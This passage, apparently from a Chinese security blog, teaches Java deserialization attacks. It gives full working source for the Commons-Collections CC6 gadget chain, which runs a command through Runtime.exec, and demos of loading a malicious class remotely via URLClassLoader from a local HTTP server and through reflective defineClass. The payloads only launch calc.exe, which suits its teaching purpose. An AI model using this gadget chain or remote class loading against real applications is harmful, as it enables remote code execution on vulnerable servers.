\"keykey\");<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u4e3a\u4e86\u8c03\u7528<code>TiedMapEntry#hashCode()<\/code>\uff0c\u6211\u4eec\u8fd8\u9700\u8981\u5c06tme\u4f5c\u4e3a\u4e00\u4e2a\u5168\u65b0\u7684HashMap\u7684key\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Map expMap = new HashMap();\nexpMap.put(tme, \"valuevalue\");<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\uff0c\u8bbe\u7f6e\u771f\u6b63\u7684 transformers \uff0c\u5c06\u8fd9\u4e2a expMap\u8fdb\u884c\u5e8f\u5217\u5316\uff0c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Field f = ChainedTransformer.class.getDeclaredField(\"iTransformers\");\nf.setAccessible(true);\nf.set(transformerChain, transformers);\n\nByteArrayOutputStream barr = new ByteArrayOutputStream();\nObjectOutputStream oos = new ObjectOutputStream(barr);\noos.writeObject(expMap);\noos.close();<\/code><\/pre>\n\n\n\n<p>\u4e0d\u8fc7\u73b0\u5728\u8fd9\u4e2a\u4ee3\u7801\u5176\u5b9e\u8fd8\u662f\u8dd1\u4e0d\u901a\u7684\uff0c\u56e0\u4e3a<code>expMap.put(tme, \"valuevalue\")<\/code>\u8fd9\u53e5\u4ee3\u7801\u5176\u5b9e\u4e5f\u89e6\u53d1\u4e86\u4e00\u6b21<code>hash<\/code>\uff0c\u5177\u4f53\u800c\u8a00\u89e6\u53d1\u7684\u662f <code>hash(key)<\/code>\uff0c\u6bd5\u7adf\u6211\u4eec\u7684<code>expMap<\/code>\u4e5f\u662f\u4e00\u4e2aHashMap\uff0c\u5bfc\u81f4LazyMap\u7684\u94fe\u5b50\u6b64\u65f6\u5176\u5b9e\u63d0\u524d\u8c03\u7528\u4e86\u4e00\u904d\uff0c\u800c\u4e14\u56e0\u4e3a\u5f53\u65f6\u4f7f\u7528\u7684\u8fd8\u662f faketransformer \uff0c\u6240\u4ee5\u4e5f\u6ca1\u6709\u6267\u884c\u4ee3\u7801\uff0c\u89e3\u51b3\u529e\u6cd5\u4e5f\u5f88\u7b80\u5355\uff0c\u628a\u8fd9\u4e2akey\u79fb\u9664\u4e86\u8ba9\u4ed6\u89e6\u53d1\u4e0d\u4e86\u5373\u53ef\uff08\u6ce8\u610f\uff0c\u8fd9\u91cc <code>expMap<\/code> \u89e6\u53d1\u7684\u662f tme \u7684key\uff0c\u800c tme \u7684key\u662f&#8221;keykey&#8221;\uff0c\u8c03\u7528TiedMapEntry\u7684\u6784\u9020\u51fd\u6570\u65f6\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u662fMap\uff0c\u8fd9\u91cc\u662f\u6211\u4eec\u7684\u6076\u610fMap\uff0c\u800c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662fkey\uff0c\u5373&#8221;keykey&#8221;\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>outerMap.remove(\u201ckeykey\u201d)<\/code><\/pre>\n\n\n\n<p>\u5b8c\u6574\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC6 {\n    public static void main(String&#91;] args) throws Exception {\n        Transformer&#91;] fakeTransformers = new Transformer&#91;]{new\n                ConstantTransformer(1)};\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class&#91;]{\n                        String.class,\n                        Class&#91;].class}, new Object&#91;]{\"getRuntime\",\n                        new Class&#91;0]}),\n                new InvokerTransformer(\"invoke\", new Class&#91;]{\n                        Object.class,\n                        Object&#91;].class}, new Object&#91;]{null, new\n                        Object&#91;0]}),\n                new InvokerTransformer(\"exec\", new Class&#91;]{String.class\n                },\n                        new String&#91;]{\"calc.exe\"}),\n                new ConstantTransformer(1),\n        };\n        Transformer transformerChain = new ChainedTransformer(fakeTransformers);\n        \/\/ \u4e0d\u518d\u4f7f\u7528\u539fCommonsCollections6\u4e2d\u7684HashSet\uff0c\u76f4\u63a5\u4f7f\u7528HashMap\n        Map innerMap = new HashMap();\n        Map outerMap = LazyMap.decorate(innerMap, transformerChain);\n        TiedMapEntry tme = new TiedMapEntry(outerMap, \"keykey\");\n        Map expMap = new HashMap();\n        expMap.put(tme, \"valuevalue\");\n        outerMap.remove(\"keykey\");\n        Field f = ChainedTransformer.class.getDeclaredField(\"iTransformers\");\n        f.setAccessible(true);\n        f.set(transformerChain, transformers);\n        \/\/ ==================\n        \/\/ \u751f\u6210\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(expMap);\n        oos.close();\n        \/\/ \u672c\u5730\u6d4b\u8bd5\u89e6\u53d1\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object) ois.readObject();\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-213701-24-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-213701-24-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u73b0\u5728\u5bf9\u7740\u6700\u521d\u7684Gadget\uff0c\u6211\u4eec\u6765\u56de\u5fc6\u4e00\u4e0b\u6574\u4e2a\u8fc7\u7a0b\uff0c\u901a\u8fc7 <code>TiedMapEntry tme = new TiedMapEntry(outerMap, \"keykey\")<\/code>\u4ee5\u53ca\u540e\u9762\u5bf9\u4e8e\u6076\u610ftransformer\u7684\u66ff\u6362\uff0c\u6211\u4eec\u5b9e\u73b0\u4e86\u5bf9<code>TiedMapEntry<\/code>\u4f7f\u7528\u6076\u610ftransformer\u5b9e\u4f8b\u5316\uff0c\u53ea\u8981\u89e6\u53d1\u4ed6\u7684<code>TiedMapEntry#get<\/code>\u5373\u53ef\u89e6\u53d1\u6076\u610f\u4ee3\u7801\u3002\u4e3a\u4e86\u89e6\u53d1 <code>TiedMapEntry#get<\/code> \uff0c\u6211\u4eec\u9700\u8981\u89e6\u53d1 <code>TiedMapEntry#getValue()<\/code>\uff1b\u800c\u4e3a\u4e86\u89e6\u53d1 <code>TiedMapEntry#getValue()\uff0c <\/code>\u6211\u4eec\u9700\u8981\u9700\u8981\u89e6\u53d1<code>TiedMapEntry#hashCode()<\/code>\uff1b\u4e3a\u4e86\u89e6\u53d1<code>TiedMapEntry#hashCode<\/code>\uff0c\u6211\u4eec\u60f3\u5230\u4e86\u6700\u521dURLDNS\u94fe\u5b50\u91cc\u7684HashMap\uff0c\u56e0\u4e3a<code>HashMap#readobject<\/code>\u91cc\u89e6\u53d1\u4e86<code>HashMap#hash()<\/code>\uff0c\u800c<code>HashMap#hash()<\/code>\u53ef\u4ee5\u89e6\u53d1<code>key.hashCode()<\/code>\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u4f7f\u7528<code>Map expMap = new HashMap(); expMap.put(tme, \"valuevalue\")<\/code>\uff0c\u5c06\u5df2\u7ecf\u88c5\u597d\u6076\u610f Map \u7684 <code>TiedMapEntry<\/code> \u5bf9\u8c61 tme \u4f5c\u4e3a <code>expMap<\/code> \u7684 key \uff0c\u56e0\u4e3a\u8fd9\u6837\u5728HashMap readobject\u7684\u65f6\u5019\u5c31\u53ef\u4ee5\u89e6\u53d1<code>HashMap#hash()<\/code>\u4ece\u800c\u89e6\u53d1<code>key.hashCode()<\/code>\u5373<code>TiedMapEntry#hashCode()<\/code>\uff0c\u7136\u540e\u4e00\u8def\u6267\u884c\u76f4\u5230\u6211\u4eec\u6700\u540e\u7684\u6076\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Java\u4e2d\u52a8\u6001\u52a0\u8f7d\u5b57\u8282\u7801<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">Java\u5b57\u8282\u7801<\/h2>\n\n\n\n<p>Java \u91cc\u7684\u5b57\u8282\u7801\u662f Java \u7a0b\u5e8f\u7f16\u8bd1\u540e\u751f\u6210\u7684\u4e00\u79cd\u4e2d\u95f4\u8868\u793a\u5f62\u5f0f\uff0c\u5b83\u4e0d\u662f\u7eaf\u673a\u5668\u7801\uff0c\u4e5f\u4e0d\u662f\u6e90\u4ee3\u7801\uff0c\u800c\u662f\u4ecb\u4e8e\u4e24\u8005\u4e4b\u95f4\u7684 \u201c\u53ef\u79fb\u690d\u7684\u6307\u4ee4\u96c6\u201d\uff0c\u8fd9\u5c31\u8981\u8bf4\u5230\u4e00\u4e2a\u6709\u8da3\u7684\u70b9\uff0c\u56e0\u4e3a Java \u7a0b\u5e8f\u7684\u6267\u884c\u5176\u5b9e\u4e0d\u76f4\u63a5\u4f9d\u8d56\u5177\u4f53\u64cd\u4f5c\u7cfb\u7edf\u6216\u786c\u4ef6\u67b6\u6784\uff0c\u800c\u662f\u7531 JVM\uff08Java Virtual Machine\uff0cJava\u865a\u62df\u673a\uff09\u6765\u8d1f\u8d23\u89e3\u91ca\u6267\u884c\u6216\u7f16\u8bd1\u4e3a\u672c\u5730\u673a\u5668\u7801\u3002<\/p>\n\n\n\n<p>JVM\u662fJava\u4e3a\u4e86\u5b9e\u73b0\u8de8\u5e73\u53f0\u800c\u5f15\u5165\u7684\uff0cJava\u7684\u6838\u5fc3\u8bbe\u8ba1\u7406\u5ff5\u53eb\u505a\uff1aWrite Once, Run Anywhere\uff08\u4e00\u6b21\u7f16\u5199\uff0c\u5230\u5904\u8fd0\u884c\uff09\uff0c\u6240\u4ee5 Java \u628a\u6e90\u4ee3\u7801\u7f16\u8bd1\u6210\u4e2d\u95f4\u683c\u5f0f \u2014\u2014 \u5b57\u8282\u7801\uff08.class \u6587\u4ef6\uff09\uff0c\u8fd9\u4e2a\u4e2d\u95f4\u683c\u5f0f\u4e0d\u4f1a\u76f4\u63a5\u8fd0\u884c\u5728\u64cd\u4f5c\u7cfb\u7edf\u4e0a\uff0c\u800c\u662f\u8fd0\u884c\u5728\u5404\u5e73\u53f0\u63d0\u4f9b\u7684 JVM \u4e0a\u3002\u56e0\u6b64\u6211\u4eec\u5728\u547d\u4ee4\u884c\u91cc\u770b\u5230\u7684\u7a0b\u5e8f\u8f93\u51fa\uff0c\u5176\u5b9e\u662fJVM\u6267\u884c\u4e4b\u540e\u8f93\u51fa\u7684\uff0c\u800c\u4e0d\u662f\u771f\u7684\u7531\u6211\u4eec\u7684\u64cd\u4f5c\u7cfb\u7edf\u6267\u884c\u7684\u7ed3\u679c\uff0c\u4f60\u751a\u81f3\u53ef\u4ee5\u4f7f\u7528kotlin\u7b49\u7b49\u975ejava\u7684\u8bed\u8a00\u7f16\u5199\u7a0b\u5e8f\uff0c\u53ea\u8981\u4f60\u7684\u7f16\u8bd1\u5668\u80fd\u5c06\u5176\u7f16\u8bd1\u6210.class\u6587\u4ef6\uff0c\u4ed6\u4eec\u90fd\u53ef\u4ee5\u5728JVM\u4e0a\u8fd0\u884c\u3002<\/p>\n\n\n\n<p>\u56e0\u6b64\u8fd9\u91cc\u6211\u4eec\u6240\u8bf4\u7684\u5b57\u8282\u7801\u975e\u5e38\u5e7f\u4e49\uff0c\u53ea\u8981\u4ed6\u662f\u80fd\u88ab\u6062\u590d\u6210\u7c7b\u5e76\u5728JVM\u91cc\u6267\u884c\u7684\u5b57\u8282\u5e8f\u5217\uff0c\u6211\u4eec\u90fd\u8ba4\u4e3a\u4ed6\u662f\u4e00\u79cdJava\u5b57\u8282\u7801\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">URLClassLoader\u8fdc\u7a0b\u52a0\u8f7d<\/h2>\n\n\n\n<p><code>ClassLoader<\/code>\u7684\u4f5c\u7528\u662f\u5728\u8fd0\u884c\u65f6\u628a <code>.class<\/code> \u5b57\u8282\u7801\u6587\u4ef6\u52a0\u8f7d\u8fdb JVM\uff0c\u5e76\u751f\u6210\u5bf9\u5e94\u7684 <code>Class<\/code> \u5bf9\u8c61\u3002\u6211\u4eec\u5199\u7684\u6bcf\u4e2a\u7c7b\u5728\u8fd0\u884c\u524d\u90fd\u5fc5\u987b\u88ab\u52a0\u8f7d\u8fdb JVM\uff0c\u800c\u8fd9\u4e2a\u52a0\u8f7d\u7684\u8fc7\u7a0b\u5c31\u662f\u7531\u7c7b\u52a0\u8f7d\u5668 <code>ClassLoader<\/code> \u6765\u5b8c\u6210\u7684\u3002\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c<code>ClassLoader<\/code> \u6839\u636e\u7c7b\u540d\u52a0\u8f7d\u7c7b\uff0c\u8fd9\u4e2a\u7c7b\u662f\u4e00\u4e2a\u5b8c\u6574\u7684\u8def\u5f84\uff0c\u6bd4\u5982<code>java.lang.runtime<\/code>\u3002<\/p>\n\n\n\n<p>\u800c <code>URLClassLoader<\/code> \u5c31\u662f Java \u63d0\u4f9b\u7684\u4e00\u4e2a\u975e\u5e38\u5e38\u7528\u7684\u7c7b\u52a0\u8f7d\u5668\uff0c\u5b83\u53ef\u4ee5\u901a\u8fc7 URL \u6765\u52a8\u6001\u52a0\u8f7d\u7c7b\u6216 jar \u5305\u91cc\u7684\u7c7b\uff0c\u5b83\u662f <code>java.net.URLClassLoader<\/code> \u7c7b\uff0c\u662f <code>ClassLoader<\/code> \u7684\u4e00\u4e2a\u5b50\u7c7b\uff0c\u53ef\u4ee5\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5e38\u7528\u4e8e\u63d2\u4ef6\u7cfb\u7edf\u3001\u52a8\u6001\u6269\u5c55\u6a21\u5757\u7b49<\/li>\n\n\n\n<li>\u4ece\u672c\u5730\u8def\u5f84\u3001\u7f51\u7edc\u8def\u5f84\u3001jar \u5305\u4e2d\u52a0\u8f7d\u7c7b<\/li>\n\n\n\n<li>\u7528\u6307\u5b9a\u7684 <code>URL[]<\/code> \u4f5c\u4e3a classpath<\/li>\n<\/ul>\n\n\n\n<p>\u6b63\u5e38\u60c5\u51b5\u4e0b\uff0cJava\u4f1a\u6839\u636e\u914d\u7f6e\u9879 sun.boot.class.path \u548c java.class.path \u4e2d\u5217\u4e3e\u5230\u7684\u57fa\u7840\u8def\u5f84\uff08\u8fd9\u4e9b\u8def\u5f84\u662f\u7ecf\u8fc7\u5904\u7406\u540e\u7684 java.net.URL \u7c7b\uff09\u6765\u5bfb\u627e.class\u6587\u4ef6\u6765\u52a0\u8f7d\uff0c\u800c\u8fd9\u4e2a\u57fa\u7840\u8def\u5f84\u6709\u5206\u4e3a\u4e09\u79cd\u60c5\u51b5\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>URL\u672a\u4ee5\u659c\u6760 \/ \u7ed3\u5c3e\uff0c\u5219\u8ba4\u4e3a\u662f\u4e00\u4e2aJAR\u6587\u4ef6\uff0c\u4f7f\u7528 JarLoader \u6765\u5bfb\u627e\u7c7b\uff0c\u5373\u4e3a\u5728Jar\u5305\u4e2d\u5bfb\u627e.class\u6587\u4ef6<\/li>\n\n\n\n<li>URL\u4ee5\u659c\u6760 \/ \u7ed3\u5c3e\uff0c\u4e14\u534f\u8bae\u540d\u662f file \uff0c\u5219\u4f7f\u7528 FileLoader \u6765\u5bfb\u627e\u7c7b\uff0c\u5373\u4e3a\u5728\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u4e2d\u5bfb \u627e.class\u6587\u4ef6<\/li>\n\n\n\n<li>URL\u4ee5\u659c\u6760 \/ \u7ed3\u5c3e\uff0c\u4e14\u534f\u8bae\u540d\u4e0d\u662f file \uff0c\u5219\u4f7f\u7528\u6700\u57fa\u7840\u7684 Loader \u6765\u5bfb\u627e\u7c7b<\/li>\n<\/ul>\n\n\n\n<p>\u4e00\u822c\u800c\u8a00\uff0c\u6211\u4eec\u5f00\u53d1\u7684\u65f6\u5019\u90fd\u662f\u7528\u7684\u524d\u4e24\u8005\uff0c\u800c\u5982\u679c\u51fa\u73b0\u975efile\u534f\u8bae\u7684\u60c5\u51b5\uff0c\u6bd4\u5982http\u534f\u8bae\uff0c\u6211\u4eec\u5c31\u4f1a\u4f7f\u7528Loader\u6765\u5bfb\u627e\u7c7b\u3002<\/p>\n\n\n\n<p>\u6bd4\u5982\u6211\u4eec\u73b0\u5728\u5199\u4e00\u4e2aEvil.java\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\npublic class Evil {\n    public static void main(String&#91;] args) {\n        try {\n            Runtime.getRuntime().exec(\"calc.exe\");\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u672c\u5730\u8fdb\u884c\u7f16\u8bd1\uff0c\u6216\u8005\u76f4\u63a5\u7528idea Run\u4e00\u6b21\uff0c\u5e94\u8be5\u80fd\u770b\u5230\u7f16\u8bd1\u751f\u6210\u597d\u7684class\u6587\u4ef6\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-230743-24-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-230743-24-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:704px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u76f4\u63a5\u5728\u8fd9\u4e2a\u76ee\u5f55\u7528python\u5feb\u901f\u542f\u52a8\u4e00\u4e2aweb\u670d\u52a1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python -m http.server 8000<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u5199\u4e00\u4e2a\u53d7\u5bb3\u8005\u7aef\u52a0\u8f7d\u8fdc\u7a0b\u6076\u610f\u7c7b\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\nimport java.lang.reflect.Method;\nimport java.net.URL;\nimport java.net.URLClassLoader;\n\npublic class RemoteLoader {\n    public static void main(String&#91;] args) throws Exception {\n        \/\/ \u653b\u51fb\u8005\u7684HTTP\u5730\u5740\n        URL url = new URL(\"http:\/\/127.0.0.1:8000\/\");\n        URLClassLoader classLoader = new URLClassLoader(new URL&#91;]{url});\n\n        \/\/ \u52a0\u8f7d\u7c7b\n        Class&lt;?&gt; clazz = classLoader.loadClass(\"classExample.Evil\");\n\n        \/\/ \u8c03\u7528 main \u65b9\u6cd5\uff08\u6216\u6784\u9020\u65b9\u6cd5\uff09\n        Method mainMethod = clazz.getMethod(\"main\", String&#91;].class);\n        mainMethod.invoke(null, (Object) new String&#91;]{});\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-231405-24-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-231405-24-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:700px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6709\u70b9\u50cf\u65e9\u5e74\u7684php\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\uff0c\u4e0d\u8fc7\u8fd9\u79cd\u8fdc\u7a0b\u7c7b\u52a0\u8f7d\u5728 JDK 8 \u53ca\u4e4b\u524d\u9ed8\u8ba4\u5141\u8bb8\uff0cJDK 11+ \u9ed8\u8ba4\u5bf9\u8fdc\u7a0b\u7c7b\u52a0\u8f7d\u9650\u5236\u66f4\u4e25\u683c\uff0c\u5c31\u6ca1\u8fd9\u4e48\u597d\u4f7f\u4e86\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">defineClass\u76f4\u63a5\u52a0\u8f7d<\/h2>\n\n\n\n<p>\u52a0\u8f7d\u5b57\u8282\u7801\uff0c\u65e0\u8bba\u662f\u8fdc\u7a0b\u8fd8\u662f\u672c\u5730\uff0c\u6700\u540e\u90fd\u4f1a\u5230defineClass\uff0cJava\u4f1a\u7ecf\u8fc7\u4e09\u4e2a\u65b9\u6cd5\u8c03\u7528\uff1aClassLoader#loadClass=&gt;ClassLoader#findClass=&gt;ClassLoader#defineClass<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>loadClass \u7684\u4f5c\u7528\u662f\u4ece\u5df2\u52a0\u8f7d\u7684\u7c7b\u7f13\u5b58\u3001\u7236\u52a0\u8f7d\u5668\u7b49\u4f4d\u7f6e\u5bfb\u627e\u7c7b\uff08\u8fd9\u91cc\u5b9e\u9645\u4e0a\u662f\u53cc\u4eb2\u59d4\u6d3e\u673a\u5236\uff09\uff0c\u5728\u524d\u9762\u6ca1\u6709\u627e\u5230\u7684\u60c5\u51b5\u4e0b\uff0c\u6267\u884c findClass<\/li>\n\n\n\n<li>findClass \u7684\u4f5c\u7528\u662f\u6839\u636e\u57fa\u7840URL\u6307\u5b9a\u7684\u65b9\u5f0f\u6765\u52a0\u8f7d\u7c7b\u7684\u5b57\u8282\u7801\uff0c\u5c31\u50cf\u4e0a\u4e00\u8282\u4e2d\u8bf4\u5230\u7684\uff0c\u53ef\u80fd\u4f1a\u5728\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u3001jar\u5305\u6216\u8fdc\u7a0bhttp\u670d\u52a1\u5668\u4e0a\u8bfb\u53d6\u5b57\u8282\u7801\uff0c\u7136\u540e\u4ea4\u7ed9 defineClass<\/li>\n\n\n\n<li>defineClass \u7684\u4f5c\u7528\u662f\u5904\u7406\u524d\u9762\u4f20\u5165\u7684\u5b57\u8282\u7801\uff0c\u5c06\u5176\u5904\u7406\u6210\u771f\u6b63\u7684Java\u7c7b<\/li>\n<\/ul>\n\n\n\n<p>defineClass\u51b3\u5b9a\u4e86\u5982\u4f55\u5c06\u4e00\u6bb5\u5b57\u8282\u6d41\u8f6c\u5316\u6210Java\u7c7b\uff0c\u800c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u4ed6\u662f\u4e00\u4e2anative\u5bf9\u8c61\uff0c\u903b\u8f91\u5728JVM\u7684C\u8bed\u8a00\u4ee3\u7801\u4e2d\u3002\u4e0d\u8fc7defineClass\u8c03\u7528\u7684\u65f6\u5019\uff0c\u7c7b\u5bf9\u8c61\u4e0d\u4f1a\u88ab\u521d\u59cb\u5316\uff0c\u6240\u4ee5\u5982\u679c\u8981\u4f7f\u7528defineClass\u6765\u52a0\u8f7d\u7c7b\u7684\u65f6\u5019\uff0c\u9700\u8981\u60f3\u529e\u6cd5\u8c03\u7528\u6784\u9020\u65b9\u6cd5\uff0c\u800c ClassLoader#defineClass \u662f\u4e00\u4e2a\u4fdd\u62a4\u5c5e\u6027\uff0c\u8981\u60f3\u8bbf\u95ee\u5b83\uff0c\u53ea\u80fd\u901a\u8fc7\u6211\u4eec\u7684\u8001\u670b\u53cb\u2014\u2014\u53cd\u5c04\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Base64;\n\npublic class defineClass {\n    public static void main(String&#91;] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {\n        Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", String.class, byte&#91;].class, int.class, int.class);\n        defineClass.setAccessible(true);\n\n        byte&#91;] code = Base64.getDecoder().decode(\"yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM\");\n        Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), \"Hello\", code, 0, code.length);\n        hello.newInstance();\n\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-232454-24-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-232454-24-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:555px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">TemplatesImpl\u52a0\u8f7d\u5b57\u8282\u7801<\/h2>\n\n\n\n<p>defineClass\u8fc7\u4e8e\u5e95\u5c42\uff0c\u4e00\u822c\u7684\u5f00\u53d1\u8005\u4e5f\u7528\u4e0d\u5230\u5b83\uff0c\u4e0d\u8fc7Java\u7684\u4e00\u4e9b\u7c7b\u8fd8\u662f\u7528\u5230\u4e86\u5b83\uff0c\u90a3\u5c31\u662fTemplatesImpl\uff0c \u6211\u4eec\u641c\u4e00\u4e0b TemplatesImpl\uff0c\u53ef\u4ee5\u770b\u5230\u5b83\u5b9a\u4e49\u4e86\u4e00\u4e2a TransletClassLoader\uff0c\u800c\u5b83\u91cd\u5199\u4e86defineClass\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' 